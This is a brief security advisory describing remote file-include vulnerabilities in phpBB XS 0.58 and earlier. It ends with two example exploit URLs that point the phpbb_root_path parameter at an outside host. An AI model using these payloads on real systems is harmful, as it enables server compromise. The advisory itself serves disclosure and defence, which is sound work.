source: https://www.securityfocus.com/bid/20277/info

phpBB XS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

phpBB XS 0.58 and prior versions are affected by these issues.

http://www.example.com/[path]/includes/functions_kb.php?phpbb_root_path=http://www.example.com
http://www.example.com/[path]/includes/bbcb_mg.php?phpbb_root_path=http://www.example.com